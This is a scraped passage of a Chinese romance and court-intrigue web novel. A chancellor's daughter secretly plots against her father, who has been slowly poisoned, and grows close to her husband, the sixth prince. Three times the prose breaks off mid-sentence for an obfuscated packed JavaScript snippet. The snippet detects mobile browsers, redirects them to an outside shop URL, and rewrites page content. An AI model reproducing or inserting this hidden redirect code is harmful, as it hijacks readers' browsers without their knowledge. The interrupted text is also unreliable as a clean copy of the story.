杜清烟料到杜柏谦会有此一问,镇静自若道:“父亲当是知晓方氏的为人,她对母亲怨恨已久,即便母亲不在了,她的恨意从未消减半分,女儿回到相府在她手底下活着已是步步艰难,只得小心翼翼藏拙,如今我嫁了殿下,殿下便是女儿的底气,身为父亲的女儿,又怎能眼睁睁看着父亲被害而无动于衷。” 她的一番话听起来情真意切,杜柏谦不由得有些动容,面上愧色更浓。 “为父竟不知你回府后处境那般艰难,你不与为父亲近,我以为你心中是怨恨的,这些年是为父对不住你,日后定会补偿你的。” 杜清烟沉默片刻,再看向杜柏谦时双目通红,眼眶含泪,哽咽道:“女儿的确怨过的,怨父亲的狠心,多年对女儿不闻不问,也怨父亲辜负了母亲,若非父亲在母亲怀着女儿之时将同样有身孕的方氏接入府中,母亲便不会抑郁成疾,便不会早早撒手……” 话到此处,她已然落下泪来,抹了泪又平复了些许,她才继续道:“可如今父亲是女儿在这世上唯一的依靠了,便是女儿心中对父亲有怨也做不到眼睁睁看着父亲死去。” ‘死去’二字一出,杜柏谦再度变了脸色。 “你是说对为父下药之人其实是想要了为父的命?” 杜清烟摇了摇头:“女儿不知幕后之人的真是目的究竟是为何,只知父亲身子亏空已久,要害父亲之人必定是很早之前便对父亲下手了,是药三分毒,更何况父亲这些年一直服的并非是药,而是慢性毒,时日已久早已侵入五脏六腑……” “什么?” 杜柏谦震惊拍案而起,浑身止不住地颤抖着,靠手掌撑着桌面才勉强站稳。 想他聪明一世,自诩谨慎小心,却在他最重视的子嗣一事上被人如此算计。 当初若不是因子嗣之事他也不会在发妻即将临盆之时将有孕的方氏接回府中,伤了发妻的心,为夫妻离心埋下祸根,以致后来发妻葬身火海与他阴阳两隔。 望着眼前这个与亡妻长得有六七分相像的女儿,杜柏谦不由得想起洞房花烛夜他对发妻许下的誓言。 他许下此生定不相负的誓言,甚至发了毒誓,若违此誓,不得好死断子绝孙。 眼下种种好似誓言应验。 杜清烟出言安抚道:“父亲莫要动气,一切待齐院首到来方有定论,且齐院首有妙手回春之能,父亲不必过于忧心。” 杜柏谦到底是见过大风大浪之人,杜清烟的一席话让他很快镇定下来,他再看向杜清烟时眼神里带了几分真心实意的欣慰。 “烟儿如你母亲一般聪慧机敏,有女如此,为父知足了。” 杜清烟乖顺一笑:“女儿既是母亲的女儿,亦是父亲的女儿。” 此话取悦了杜柏谦,他开怀笑了起来。 “好好好,这才是我杜柏谦的骨血。” 大笑之后,他似是想起别的事,又认真审视起杜清烟来。 杜清烟有些惊慌地问:“父亲为何如此这般瞧着女儿?” 杜柏谦手指轻磕桌面,一下又一下,缓声道:“烟儿,你与为父说实话,六殿下的手可还有治愈的可能?” 杜清烟装作不敢看他,垂眸道:“女儿为殿下探过脉了,殿下的手能治。” 杜柏谦眯了眯眼,声音不觉高了几分:“当真?” 杜清烟点头:“女儿不敢欺瞒父亲,女儿随外祖父学过针灸之术,这两日为殿下施过针,殿下的右臂已恢复些许,不出一年半载便可痊愈。” 她与凤燕回说的是最多两月,与杜柏谦便是另一番说辞。 杜柏谦略作思忖后,脸上尽是儒雅仁慈的笑意:“便是齐回春也不敢保证可让六殿下的手臂痊愈,吾儿当真是青出于蓝胜于蓝。” 杜清烟谦逊道:“女儿只随外祖父学了些皮毛而已。” 让杜柏谦知晓凤燕回有痊愈的可能,他会在太子与凤燕回之间权衡一番,太子已笼络不少大臣,杜柏谦虽为百官之首,却是文官,手中无兵权,于太子而言不过锦上添花罢了。 凤燕回于杜柏谦而言更好掌控些,而且杜柏谦伴君身侧二十载,他比任何人更懂得揣测帝王心。 陛下虽立太子,却也重用三皇子璃王,璃王乃淑妃之子,母族是世家大族崔氏,璃王乃武安侯崔珏的外甥,武安侯手握十万大军,太子与璃王谁输谁赢尚未可知。 相府向来持中立之态,不参与党争,但眼下太子与璃王之争越发激烈,一朝天子一朝臣,相府再难独善其身。 杜柏谦夸赞道:“你比若儿聪慧懂事,六殿下并非池中物,中宫正统,贵不可言,且待来日一飞冲天,届时相府荣耀皆系于你身,你可要牢牢抓紧六殿下的心,回头为父拨两个机灵的丫头到你身边服侍,若有紧急要事可先传信与为父。” 这是要在她身边安插眼线了。 杜清烟微笑点头应下。 此次回门目的已达成,杜清烟便与她这位名义上的好父亲闲话几句,瞧着倒是真有几分父慈女孝的温馨。 屋外小厮来报说太子妃来了,杜清烟欢喜不已,杜柏谦微笑摆手,“为父知你与若儿姐妹情深,你也开解开解她,去罢。” 杜清烟离开后,自暗门后走出一身形消瘦的独眼男子,正是相府的胡衙生。 杜相平静道:“我这女儿先生觉得如何?” 胡衙生望着杜清烟离去的方向若有所思道:“大姑娘较之先前判若两人,想来先前在府中为不引起注意是故意藏拙,可见其心性坚韧,年方不过二八竟有此心机谋算,假以时日定有所为,只不过……” 只听他话锋一转,有些担忧道:“大姑娘不在相爷身边长大,以她的聪慧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14484772|154505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将来若想掌控怕是不易,相爷还得早做打算。” 杜相轻笑,不以为意道:“她身后无人,唯有我这个父亲可倚仗,日后她若是不听话,教训一番便是,先生不必多虑。” 胡衙生完好的那只眼中划过忧色,可见杜相并不将此事放在心上,便不再多言,眼下最令他担忧的是杜相的身子。 “相爷,方才大姑娘所言若是不假,府中包藏祸心之人还是尽快揪出为好。” 提到此事杜相的脸色阴沉了几分,他心中已有猜测。 近身伺候他的人也就那几人,而有机会悄无声息给他下药的更是不多,负责他膳食的人最可疑。 “此事便有劳先生去查了。” 胡衙生与杜相的想法不谋而合,他觉得该从厨房开始查起。 待胡衙生领命离去后,婢女惊慌进屋收拾茶杯碎片,见家主神色不虞,大气也不敢出。 而此时相府的水榭之中,杜清若亲昵地挽着杜清烟倚在栏杆处往水里撒鱼食。 “姐姐,明日我与林姑姑一同去六皇子府看你。”杜清若望着池中的红鲤鱼幽幽叹气:“如今你我便如同池中鲤鱼,困在一方天地中。” 杜清烟的鞋面方才被杜相打翻的茶水浸湿,秋日寒凉,此时脚有些难受,她不着痕迹收了收脚。 见杜清若愁容满面,她轻声安抚道:“阿若安心在东宫做个吉祥物便好,待此间事了,带你去江南,届时天高地阔,你想做什么便做什么。” 听到这话,杜清若眼睛一亮,复又不满地撇嘴:“我才不要只当个没用的吉祥物,我想帮姐姐。” 杜清烟点了点她的鼻尖,宠溺道:“阿若是能给人带来好运的吉祥物。” 杜清若娇笑着往她怀里蹭,撒娇道:“那阿若愿将所有好给姐姐,惟愿姐姐得偿所愿。” “你呀,当真是个傻丫头。” 杜清烟轻轻抚摸了着妹妹细腻滑嫩的脸颊,眼中笑意渐敛后只余坚定。 凤燕回很快便从宫里出来,一出宫便直奔相府,他到相府时杜清若与杜清烟黏在一块儿,乍一见到他,杜清若愣住了。 她对凤燕回的印象还停留在幼时,那时她时常与姐姐一同入宫,凤燕回是皇后之子,她与姐姐在宫中见到他的机会不少,又因年纪相仿,在一起嬉戏玩闹也是常有的,只是后来凤燕回到军中历练后便很少见了。 后来只是常听旁人说起六皇子在沙场上如何英勇,又是如何与少将军配合默契,智擒敌手,以少胜多。 再后来便是平城之变,平远大将军夫妇殉城,少将军下落不明,六皇子伤重废了一只手,许多人的命运因此转变。 眼前的俊逸无双的男子的脸与记忆中活络跳脱的尊贵小皇子的脸逐渐重合。 “姐、姐夫……” 她对凤燕回的称呼令两人皆是一怔,凤燕回率先回神,朝她颔首示意,唇角微扬。 杜清烟则无奈扶额,真要论起来,她可是太子妃,太子比凤燕回年长,以她如今的身份,凤燕回可当不起她的这声姐夫。 凤燕回来相府并未久留,接上杜清烟便走了,杜清若在他们离开相府后也回了东宫。 上了马车后,凤燕回在杜清烟面前蹲下,单手替她除了脚上鞋袜,杜清烟在察觉他要做什么时犹豫了一瞬,终究没有阻止。 凤燕回轻轻抚上她被茶水烫红的右脚脚背,蹙眉问:“疼不疼?” 杜清烟不答反问:“殿下是如何发现的?” 她很是好奇,她与杜清若待在一起许久杜清若也不曾察觉异样,他怎一眼就察觉了。 凤燕回将身上披风解下,仔细地将她的双脚裹住,俊眉紧蹙,声音有些发沉。 “方才你走路时右脚比左脚轻许多。” 杜清烟惊讶:“殿下耳力竟这般好?” 仅凭脚步声便察觉出她的异样,他当真是心细如发。 凤燕回深深瞧她一眼,并未为她解惑。 10. 温柔 凤燕回沉眸不言时模样有些慎人,杜清烟不由得想起方才杜清若见他时的反应及那一声脱口而出的姐夫。 见她莫名发笑,凤燕回目光落在裹着她脚的披风上,手上微动便听到她的抽气声。 “嘶!疼疼疼,殿下你手压我脚了……” 方才杜相的那盏茶水滚烫,便是隔着鞋袜她的脚还是被烫伤了,此时裹在他的披风里,冷不防被他的手按压了一下,疼得她倒抽一口凉气。 凤燕回板着脸:“既知疼痛便该长记性,莽撞行事,自讨苦吃。” 明明她在为他谋划,此番若成受益者是他,偏偏他还不领情。 她委屈巴巴控诉:“殿下当真是没良心,我可是为殿下才受了这伤,殿下不心疼就算了,竟还说些风凉话。” 凤燕回面色不善道:“无需为我做这些,杜相此人老谋深算,与他合作无异于与虎谋皮,得不偿失。” “殿下知我此番回相府的目的?”杜清烟惊讶不已,她可从未对他透露过一星半点儿。 而且方才他并不在场,是如何猜到她打算与杜相合作的。 凤燕回淡然道:“杜相在太子与璃王处皆讨不到好,如今我是他最好的选择,方才杜相亲自送我们出府时他对你的态度与平时不同,我便有了猜测。” 即便她嫁了他后身份不同了,可杜相的慈父做派在他看来着实反常。 原本关系疏离冷淡的父女突然变得父慈女孝,事出反常必有妖,他猜测多半是他不在时父女俩达成了某种共识。 而他不悦并非为此,而是她在相府受了伤却默默忍着,若非他发现,她怕是会一直瞒着。 杜清烟再次在心中感叹凤燕回的敏锐,看来她真得如杜相方才提醒的那般,往后伴他左右要谨言慎行才行。 凤燕回乃先皇后之子,中宫嫡出,自出生起便是当储君培养的,学为君之道,□□王术,又岂是庸碌愚钝之辈,有些事他并非不懂,不过是不屑为之罢了。 先皇后与杜相的原配夫人云锦绣乃闺中密友,照理说作为皇后之子的凤燕回与杜相不说交情颇深,也不该是这般疏离。 但凤燕回待杜相的态度不冷不热,有的只是一些场面上的客套罢了。 此次凤燕回与她一同回门,她也瞧见了他对方氏不加掩饰的厌恶。 想来他定然是十分不屑于与相府来往的,不过是想给她脸面,故而不得不做做样子。 思及至此,她忍俊不禁。 她的夫君可真是嫉恶如仇又极其护短呢。 见她又笑,凤燕回奇怪地瞧了她一眼,但想到他要说的话多半又会惹她不悦,索性闭口不言。 杜清烟的目光落在裹着她脚的披风上,一股暖意涌上心头。 面冷心热大抵便是如此罢。 “殿下可曾听过一句话?”她往他身边凑近,仰着笑脸看他,“过刚易折,大丈夫能屈能伸。” 凤燕回的目光不由自主落在她的唇上,眼前浮现的是今早发生的那一幕幕,喉咙有些发痒,喉结滚动。 他沉默不言,杜清烟泄气,叹息道:“我知殿下不愿与杜相虚以逶迤,是以这些事由我来做最为合适,殿下当做不知便好。” 人后她便是唤一声‘父亲’也是不愿的,可见她对杜相有多厌恶。 凤燕回终于忍不住开了口:“你不必为我如此。” 杜清烟不可置否笑了笑,问道:“殿下可曾听说过我母亲与杜相的旧事?” 凤燕回道:“杜相寒门出身,科举入仕平步青云,可他却在功成名就后违背誓言负了发妻,此等薄情寡义之人,我不屑与他为伍。” 杜清烟不禁一怔,他竟什么都明白。 也是,他自幼便与云家的人熟悉,云锦绣是先皇后的闺中密友,更是平远大将军云震霄的胞妹,他对云锦绣的事自然是知晓一些的。 故人已逝,可有些恩怨还未了结,她便是来为云家,为云锦绣讨债的。 “便如话本里名门千金与穷酸书生纠缠的俗套故事,云锦绣十四岁时随父外出义诊,偶然救下差点饿死街头的穷书生杜柏谦,将其带回府中多有照拂,情窦初开的少女与满腹才情的穷书生日久相处,渐生情愫,原本云锦绣的父母亲是反对的,他们觉得杜柏谦并非良人,可陷入情障的云锦绣已绝食相逼,杜柏谦又跪在二老面前发毒誓说此生只爱她云锦绣一人,二老爱女心切,只得放手成全,有了云锦绣的及云家扶持,杜柏谦不必再为身外之物烦忧,一心扑在仕途上,可谓是官运亨通平步青云,只不过最后二人的结局并不像话本里那样才子佳人相携白首。” 穷书生一朝出人头地,繁华迷眼,欲壑难填,家有娇妻仍想美妾在怀,左拥右抱享齐人之福,在发妻即将临盆之际将另一同样身怀六甲的女子带到发妻跟前说要纳贵妾,发妻伤心欲绝。 杜清烟嘲讽一笑,悠悠道:“杜柏谦将身怀有孕的方茹带到我母亲跟前,山盟海誓终成笑话,我母亲心如死灰,那时外祖父已携外祖母回乡养老,当时已是平远大将军的舅父远在平城,无人为母亲撑腰,母亲便只能带着林姑姑回乡,回到外祖父与外祖母身边,因路途颠簸劳累母亲动了胎气,回到外祖父母身边当夜便难产了,孩子生下时已无气息,外祖父心急如焚……” 话到此处戛然而止,她未在说下去,眸光泛着水雾看着凤燕回。 “殿下,我云家的女儿一身傲骨,爱恨随心,拿得起放得下,却非任人欺辱辜负的软弱女子,杜柏谦这样的薄情郎活该断子绝孙,你说是也不是?” 凤燕回被她眼底的恨色摄住心神,心念微动,情不自禁抬手抚上娇嫩容颜。 “是。”他答。 杜清烟满意了,笑了起来,顺势握住他的手,歪头靠在他怀里。 凤燕回绷直着身子一动也不敢动,鼻尖嗅到不知名的清香,迷得他神魂颠倒。 马车在一家医馆前停下,卫风在外禀报。 “殿下,医馆到了。” 卫风的声音惊扰了马车内的缱绻氛围,杜清烟直起身,也松开了凤燕回的手,挑帘往外瞧。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14484773|154505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 凤燕回盯着空空如也的手暗自出神,掌心的余温仍在,香软柔滑已不复。 “我去去就来。” 他留下一句话便快速下了马车,卫风吩咐护卫护好马车后跟着凤燕回一同进了医馆。 杜清烟放下帘子,看了眼盖在脚上的披风,心中了然。 片刻后凤燕回再度上了马车,手中拿了只白瓷瓶,马车晃晃悠悠继续前行,凤燕回将披风拿开,在她面前席地而坐,将她的双脚抬起置于他腿上,揭开白瓷瓶,一股药味在马车内弥漫开。 杜清烟盯着他的脸瞧了许久,心莫名有些悸动。 冰冰凉凉的药膏缓解了脚背上的灼痛感,她看向那只正为她的脚轻柔上药的手。 这只手能握长枪,挽长弓,执长剑,上阵杀敌,亦能挽袖为她上药。 他当真是极好的男儿,只是可惜她…… 凤燕回望着腿上这双莹白如玉的脚,瞧着还没他的巴掌大,脚趾圆润小巧,若非右脚脚背上红了一片令人心疼,着实令人忍不住想把玩一番。 上完药,他还未有别的动作,就听到她的叹息声。 “殿下是我见过最温柔体贴的男子。” 凤燕回眉心一跳,抬眸看她,“夫人亦是为夫见过最与众不同的女子。” 杜清烟动了动脚,在他腿上踩了踩,似是发现了新乐趣,踩他的腿尤不满足,纤纤玉足蹭了蹭他的腰。 凤燕回僵着身子,眯了眯眼,一把握住在他身上作乱的玉足,低声道:“夫人莫要胡闹。” 杜清烟自是不敢闹太过,也就男色当前,心绪难平撩拨一二,毕竟她从不亏待自个,血气方刚的可不能撩过火了,否则难以收场。 见她收敛了,凤燕回暗自松了口气,又隐隐有些失落。 沉默几息,他忽然道:“父皇命我去平城一趟。” 杜清烟闻言惊讶看他,“殿下为何与我说这个?” 虽说成亲不过三日,她与他有过不少亲密之举,但她以为他始终是防着她的。 凤燕回不解道:“夫妻之间自是该坦诚相待的,夫人为何这么问?” 杜清烟一时哑然。 凤燕回看她的反应,心里有些憋闷,脸色瞧着也不太好了。 “后日启程,夫人随为夫同行,此事我已禀明父皇。” 言外之意是她去也得去不去也得去。 当然,他断定她是想去的。 平城同样是她牵挂之地。 见他恼了,杜清烟凑过去在他脸颊上亲了一口,一触即离。 “殿下真好。” 她忽然的举动令凤燕回整个人僵住了,双眼蓦然睁大,随即红了耳根。 “你……” 杜清烟眨巴着眼睛,一脸无辜道:“殿下可是腿麻了,我为殿下捏一捏?” 方才还只是红了耳根,听了她这话,凤燕回的脸也红了。 杜清烟忍不住笑了起来,打趣道:“殿下可是威名赫赫的冷面将军,这面皮也忒薄了些。” 11. 苦肉计与美人计 马车在府外停下,杜清烟欲起身却被凤燕回制止,他目光落在她脚上。 “我抱你回府。” 杜清烟低头瞧了眼并无大碍的脚,又瞧了瞧他行动不便的右手。 “不必了殿下。” 凤燕回见她盯着他的右臂若有所思,俊眉轻蹙,似是懊恼道:“我单手便可将你抱起。” 这时候他倒是挺执着,杜清烟心下暗笑,清了清嗓音:“我并非质疑殿下的臂力,只不过众目睽睽下殿下与我搂搂抱抱传出去有失体统。” 说话间她已三两下套上鞋袜,不等凤燕回反应便掀帘下了马车。 绿竹已到马车近前,见她下马车先是一喜,无意间瞥见马车后还跟了两个面容姣好、身姿婀娜的年轻女子时愣了一下。 “姑娘,这是?” 杜清烟稳稳落地后慵懒地舒展腰肢,漫不经心道:“父亲所赠,往后她们听你差遣。” 绿竹一听乐了,走过去绕着两人转了一圈,仔细打量了一番后略有些嫌弃。 “这杨柳细腰美则美矣,不知是否有劲儿,回头跳水劈柴可别闪了腰还得我伺候你们。” 凤燕回马车上下来听了个正着,回头随意扫了眼,瞧见了那两个被绿竹的话吓得花容失色的年轻女子,两人见他看过来,皆一副泫然欲泣,受了委屈的样子。 绿竹看得直翻白眼,回到杜清烟身边,小声嘟囔:“瞧这狐媚样儿,说是伺候姑娘,实则是为六殿下而来罢。” 杜清烟扭头见凤燕回已到她身后,只是笑了笑,轻声吩咐绿竹:“先带这二位姑娘进府安置。” 绿竹应了一声后便往后退了几步,去招呼那两个相府送来的女子。 此时凤燕回已站在杜清烟身旁,杜清烟歪头看他,俏皮一笑,打趣道:“殿下,艳福不浅呐。” 凤燕回冷冷撇她一眼,拔腿便往府中走去,将她抛在了身后。 杜清烟无辜耸了耸肩,并不在意他的态度,慢悠悠走在后。 目睹一切的卫风觉得自家殿下近日来当真是难以捉摸,可他还觉得夫人是真有厉害手段,竟能牵着殿下的鼻子走。 自从夫人进府后,殿下这情绪起伏还不小,每回皆与夫人有关。 方才殿下竟对夫人甩脸了。 卫风看了看那两个从相府跟过来的女子,瞧她们搔首弄姿的样子,他恍然大悟。 这杜相还真是煞费苦心,这两位看着就不像是伺候人的婢女,倒像是…… 夫人引狼入室而不自知,难怪殿下生气。 卫风赶忙追上绿竹,小声提醒她,让她将那两个女子的住处安排到离主屋最远的院落,别让她们给两位主子添乱。 如今夫人是当家主母,绿竹是主母贴身婢女,这些琐事自然落到绿竹身上,由她安排。 只不过主母进门时日尚短,绿竹对府中定然也是不熟悉的,故而卫风好心地给绿竹提了醒。 “北院那边正好有两间屋子空着,回头叫上府中的两个丫头陪相府来的这两位一同收拾,你在一旁看着就是。” 见卫风如此上道,绿竹领了他的好意。 “行,我明白了,回头请你吃烧鹅。” 卫风有些不好意思地挠挠头:“哪能叫绿竹姑娘破费啊,姑娘若是想吃烧鹅,明日一早我去为姑娘买。” 绿竹想了想,竟还真的使唤起他来。 “烧鹅要林记酒楼的,顺便再买两盘荷叶鸡、两碟桂花糯米糖藕、一记绿豆糕、龙须酥、凤梨酥各要两份……” 卫风听得晕头转向,绞尽脑汁也只几下一两样,苦着脸说让绿竹写下给他,绿竹看他一脸憨傻,无奈叹气。 绿竹心道:卫风这脑子是如何当上六殿下的贴身护卫的,几道普通的吃食也记不住。 末了卫风忍不住好奇问:“为何是两份,你一人如何能吃下这么多?” 正所谓吃人的嘴软,绿竹忍住翻白眼的冲动,挤出笑容解释道:“明日太子妃与林姑姑会来,你要早些出府,可别耽搁了。” 卫风点头说好,两人边说边往府中走,全然往后身后还跟着两个陌生女子。 “绿竹姑娘,恕我冒昧多问一句,为何是两份?” 他心想,便是太子妃她们来了,那些吃食每样一份也是足够了。 绿竹停下脚步,朝卫风嘿嘿一笑,理所当然道:“你傻呀,另一份是给我自个儿备的。” 言毕她又觉得不妥,拍了拍卫风的胳膊,盛情相邀,“我不吃独食的,明日午时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14484774|154505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你来后花园寻我。” 卫风:“……这不妥罢。” 谁家做婢女的如此大胆,主子吃什么她也吃什么,还如此明目张胆。 绿竹不解道:“有何不妥?” 卫风看了看她,有些一言难尽,“看来绿竹姑娘跟在夫人身边并未吃过太多苦。” 闻言,绿竹瞬间自豪起来。 “我家姑娘是这世间最好,最善良的姑娘,自打我跟在她身边那日起我便不曾饿过肚子了,姑娘吃肉我吃肉,姑娘喝酒我喝酒。” 卫风彻底服了。 原来夫人与殿下说绿竹便如同她亲妹是真的,这小丫头哪里是小丫鬟,分明是小姑奶奶才是。 许久之后绿竹方记起身后还跟着两个人,顿时兴致缺缺,不愿与卫风多聊,将烂摊子直接丢给他。 “我对府中不熟,这两位娇滴滴的姑娘便麻烦你安置她们了。” 道了一句谢后绿竹摆了摆手,一溜烟跑没了影。 卫风站在原地凌乱了许久,暗恼道方才为何要多嘴呢,这下好了,烫手山芋扔给他了。 这厢杜清烟先行回屋脱了鞋袜,赤脚躺在竹榻上,随手从一旁的架子上拿过一本还未看完的话本消遣,十分悠然自得。 不多时绿竹进屋,见她如此悠闲,有些意外,走近了便瞧见她脚背上的烫伤,笑容僵住,快步走过去,眼中满是担忧。 “姑娘怎会伤了脚?” 杜清烟眼睛没从话本上移开,全然不在意道:“并无大碍。” 绿竹仔细瞧了瞧,确定真如她所言那般并无大碍,这才放下心来,搬了个矮凳在竹榻边坐下。 “我瞧着方才六殿下有些恼了,姑娘可要去哄哄?” 杜清烟这才从话本上移开眼,看向绿竹,不明所以道:“哄他作甚?” 绿竹想了想,正要点头附和,却又听自家姑娘问她六殿下此时在何处,她说六殿正独自坐在廊下黯然神伤呢,就见她家姑娘扔了话本,利落翻身下了竹榻,赤着脚便往外走。 原本想提醒自家姑娘穿鞋的绿竹在张嘴时忽然想到什么,顿时又闭了嘴。 姑娘曾教过她,有时苦肉计比美人计好使,此时大抵便是如此罢。 她又学到了。 12. 浓浓乖 深秋凉风寂寂,檐下海棠盛开,花瓣纷飞,凤燕回凭栏独坐廊下,锦衣玉袍,清俊无双,花落肩头无声无息,寂寂寥寥。 杜清烟凝眸观望片刻,赤足走近,在于他三步之遥处站定。 秋风萧瑟,卷起裙摆轻扬,她仿若未觉,伸手欲抚上他他略显苍白的面颊,却在咫尺之间堪堪停下。 她欲收回手,却被一只冰凉的手握住手腕,她只觉手腕一紧,忽然便觉身子失去平衡往前倾倒,几乎是同时手腕是的力道消失,腰上一紧,天旋地转间她落入一个熟悉的怀抱中。 待她醒过神来时已坐在凤燕回的腿上,被他拥在怀中,她的背后贴着他的胸膛,而他换了个坐姿,他的左手环于她腰间,不轻不重将她禁锢,挣脱不得。 “殿下……” 她羞恼低唤一声却未再挣扎,顺势倚靠在他身上,仰着脸瞧他。 “青天白日,殿下怎可如此孟浪。” 方才她脸上那一瞬间的慌乱仿佛只是他的错觉,她又是如成了精的小狐狸般时刻引诱着他。 凤燕回的目光落在她莹白的玉足之上,眸色渐沉,桎梏她腰身的手臂力道重了些,灼热气息洒在她后颈。 “你我新婚燕尔,自是如胶似漆。” 杜清烟得逞的笑容还未来得及扩大突感身子悬空,她下意识扭身去搂身后的脖子,她吓得惊呼出声。 “呀!” 凤燕回竟真单手将她抱起,稳稳当当,一步一步朝她方才来的方向而去。 她抬眼,他低头,四目相对,谁也不曾躲闪,他脚下稳当一步也不曾踏错。 绿竹正好拿了纸在小案上铺开,伸手欲从笔架上取笔蘸墨,忽闻屋外动静,抬头望去,顿时大吃一惊。 这、这这这……光天化日的,六殿下竟将她家姑娘从外面抱进屋里,两人那粘腻腻的眼神,拉丝般粘着。 绿竹被这一幕震惊到了,急忙捂住大张的嘴,缩着脖子轻手轻脚从门边溜了出去。 跨出门槛后又退回来小心翼翼将房门合上,在还有一条缝时趁机往里窥视一眼,却连人影也未瞧见一个。 六殿下早已抱着她家姑娘进了里屋。 绿竹偷笑着故意放轻脚步往外走,行至院外时忽觉脑子里什么炸开了,猛地顿住脚,回过头担忧地望向那到方才她关上的房门。 姑娘曾言,美人计亦或是苦肉计皆是逢场作戏,可戏中人在戏中久了若是入戏太深,真真假假,深陷其中如何能全身而退。 饶是聪慧多智如她家姑娘,遇上六殿下这般温润体贴的,加之六殿下本就容恣无双,而自家姑娘又是个重容色的…… 唉,这大抵便是老太爷常叹的“深陷情惘,迷障难除”罢。 凤燕回将人抱进屋,径直入了里屋,将人置于床榻之上,在她满含笑意的目光注视下走到盆架前,单手沾湿帕子又挤了挤水,拿着半湿又回到她面前蹲下,先抬起她的一只脚置于他膝头仔细为她擦干净又换另一只脚,待将她两只脚擦拭干净后轻抬她的腿弯,让她双脚踩在床面上,拉过被褥将她的腿脚盖上。 从始至终他板着脸,动作却轻柔得很。 杜清烟见他欲转身离去,眼疾手快拉住他的手,“殿下单手抱我,轻松自如,当真是天生神力。” 凤燕回:“……” 她这马屁拍的是否晚了些? 凤燕回沉默不言,欲挣开被她拉住的手,却又被她牢牢抓住,作出可怜兮兮的样子。 “殿下……” 对上她满含期待的目光,凤燕回到底软了心肠,心中无奈。 “何事?”他微微皱眉,却任由她抓着手。 杜清烟一手拉着他,一手揉揉肚子,苦兮兮道:“腹中空虚难耐,此刻头晕眼花,四肢无力……” 凤燕回气笑了,却又拿她无可奈何,轻轻挣脱了手,先去净手,随后从桌上端了一碟荷花酥至她面前。 “方才已吩咐厨房备膳,先吃些糕点垫垫肚子。” 他早料到她在相府定然是饿肚子的,是以出宫时便吩咐卫风先差人回府知会厨房备膳。 杜清烟眉开眼笑,自碟中拿了块荷花酥,先举到他面前,大献殷勤:“殿下尝尝。” 对上她的眼,凤燕回说不出拒绝之言,弯腰倾身就着她的手尝了一口,咬下半块糕点咀嚼后咽下。 “如何?”她笑盈盈看着他。 凤燕回道:“尚可。” 杜清烟点了点头:“我尝尝。” 她将手中剩下的半块荷花酥放入口中,凤燕回欲说些什么,终究是慢了。 那是他方才咬过的,她竟也不嫌弃。 尝过后,杜清烟附和道:“嗯,入口即化,口感清爽。” 她虽夸荷花酥口感不错,却未再伸手,几日相处,凤燕回对她的性子也有几分了解,知她对荷花酥不感兴趣,便将碟子放回桌上。 此时屋外有婢女询问是否传膳,凤燕回应了一声,房门打开,三个婢女端着膳食进来。 杜清烟眼睛一亮,欲从床上下来,被凤燕回按了回去,对上他不赞同的眼神,她只好唤绿竹进屋。 重新穿好鞋袜,杜清烟自然而然挽上凤燕回的胳膊,还不忘招呼绿竹同他们一起用膳,绿竹有些怵凤燕回,寻了个由头退了出去。 凤燕回府中的餐食与丰盛搭不上边,好在有荤有素。 凤燕回先盛了碗鸡汤放到她面前,杜清烟的目光始终追随着他,眉眼含笑:“多谢殿下。” 言罢,她轻轻搅动汤匙,舀了一勺浅尝一口,入口未咽下,她蹙眉吐了出来。 凤燕回神色微变,端起的汤碗放回桌上,为她递上茶水。 “怎么?” 杜清烟就着他喂来的茶水漱了口,用筷子轻敲汤碗,给他递了个眼神。 “殿下,不知是何人炖的鸡汤如此难以下咽。” 凤燕回见她无碍,心下稍安,面色却冷了下来,厉声道:“卫雨,将厨房一干人等唤来问话。” 冷面护卫卫雨自暗处现身,犹如鬼魅无息,所过之处惊起一阵寒意。 “是。” 屋外候着的两个婢女见到卫雨现身吓得脸色苍白,颤抖着跪了下去,大气也不敢出。 杜清烟将桌上的菜皆尝了一遍,唯有那锅鸡汤非同寻常,她将除鸡汤以外的菜皆往凤燕回碗中夹了一筷箸。 “这几道菜口感极佳,殿下也尝尝。” 凤燕回食欲不佳,却不曾拂她的意,她给他夹的菜尽数入了他腹中,此外他未在动筷,静静瞧着她。 杜清烟不问他为何不动筷了,她吃得津津有味,时不时投喂他一下,她主动喂他便张嘴,郎情妾意,倒真像一对恩爱夫妻。 半个时辰后,杜清烟跟在凤燕回身后走出屋子,院外跪着几人,不知是冷还是吓的,几人瑟瑟发抖。 凤燕回行至院中,那几人越发抖得厉害了。 杜清烟还是头一回见府中下人如此畏惧凤燕回,随着他走近,那几人已抖如筛糠。 领头的是一个相貌平平,皮肤黝黑,身形略显魁梧壮硕的中年男子,他颤抖着重重地磕了个头。 